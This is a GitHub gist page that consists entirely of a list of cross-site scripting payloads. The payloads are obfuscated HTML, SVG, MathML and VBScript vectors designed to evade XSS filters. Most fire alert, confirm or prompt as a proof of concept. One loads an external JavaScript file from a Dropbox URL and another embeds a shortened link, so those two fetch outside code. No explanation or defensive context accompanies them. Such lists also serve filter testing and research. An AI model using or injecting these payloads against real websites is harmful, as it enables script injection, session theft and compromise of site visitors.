Skip to content

Instantly share code, notes, and snippets.

@soaj1664
Created March 16, 2014 19:46
Show Gist options
  • Save soaj1664/9588791 to your computer and use it in GitHub Desktop.
Save soaj1664/9588791 to your computer and use it in GitHub Desktop.
<div style="color:rgb(''&#0;x:expression(alert(1))"></div>
<img/src=%00 id=confirm(1) onerror=eval(id)
<div id=confirm(1) onmouseover=eval(id)>X</div>
<span/onmouseover=confirm(1)>X</span>
<svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(88)&chr(83)&chr(83)))
<iframe/src="javascript:a=[alert&lpar;1&rpar;,confirm&#40;2&#41;,prompt%283%29];eval(a[0]);">
<div/style=content:url(data:image/svg+xml);visibility:visible onmouseover=alert(1)>x</div>
<script>Object.defineProperties(window,{w:{value:{f:function(){return 1}}}});confirm(w.f())</script>
<keygen/onfocus=prompt(1);>
<img/src=`%00` id=confirm(1) onerror=eval(id)
<img/src=`%00` onerror=this.onerror=confirm(1)
<iframe/src="data:text/html,<iframe%09onload=confirm(1);>">
<math><a/xlink:href=javascript:prompt(1)>X
<input/type="image"/value=""`<span/onmouseover='confirm(1)'>X`</span>
<form/action=javascript&#x0003A;eval(setTimeout(confirm(1)))><input/type=submit>
<body/onload=this.onload=document.body.innerHTML=alert&lpar;1&rpar;>
<iframe/onload='javascript&#58;void&#40;1&#41;&quest;void&#40;1&#41;&#58;confirm&#40;1&#41;'>
<object/type="text/x-scriptlet"/data="data:X,&#60script&#62setInterval&lpar;'prompt(1)',10&rpar;&#60/script&#62"></object>
<i<f<r<a<m<e><iframe/onload=confirm(1);></i>f>r>a>m>e>
http://www.<script abc>setTimeout('confirm(1)',1)</script .com>
<style/onload = !-alert&#x28;1&#x29;>
<svg id=a /><script language=vbs for=a event=onload>alert 1</script>
<object/data="data&colon;X&comma;&lt;script&gt;alert&#40;1&#41;%3c&sol;script%3e">
<form/action=javascript&#x3A;void(1)&quest;void(1)&colon;alert(1)><input/type='submit'>
<iframe/srcdoc='&lt;iframe&sol;onload&equals;confirm(&sol;&iexcl;&hearts;&xcup;&sol;)&gt;'>
<meta/http-equiv="refresh"/content="0;url=javascript&Tab;:&Tab;void(alert(0))?0:0,0,prompt(0)">
<script src="h&Tab;t&Tab;t&Tab;p&Tab;s&colon;/&Tab;/&Tab;http://dl.dropbox.com/u/13018058/js.js"></script>
<style/onload='javascript&colon;void(0)?void(0)&colon;confirm(1)'>
<svg><style>&#x7B;-o-link-source&#x3A;'<style/onload=confirm(1)>'&#x7D;
<math><solve i.e., x=2+2*2-2/2=? href="data:text/html,<script>prompt(1)</script>">X
<iframe/src="j&Tab;AVASCRIP&NewLine;t:\u0061ler\u0074&#x28;1&#x29;">
<iframe/src="javascript:void(alert(1))?alert(1):confirm(1),prompt(1)">
<embed/src=javascript&colon;\u0061&#x6C;&#101%72t&#x28;1&#x29;>
<img/src='http://i.imgur.com/P8mL8.jpg ' onmouseover={confirm(1)}f()>
<style/&Tab;/onload=;&Tab;this&Tab;.&Tab;onload=confirm(1)>
<embed/src=//goo.gl/nlX0P>
<form><button formaction=javascript:alert(1)>CLICKME
<script>x='con';s='firm';S='(1)';setTimeout(x+s+S,0);</script>
<img/id="confirm&lpar;1&#x29;"/alt="/"src="/"onerror=eval(id&#x29;>
<iframe/src="data&colon;text&sol;html,<s&Tab;cr&Tab;ip&Tab;t>confirm(1)</script>">
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment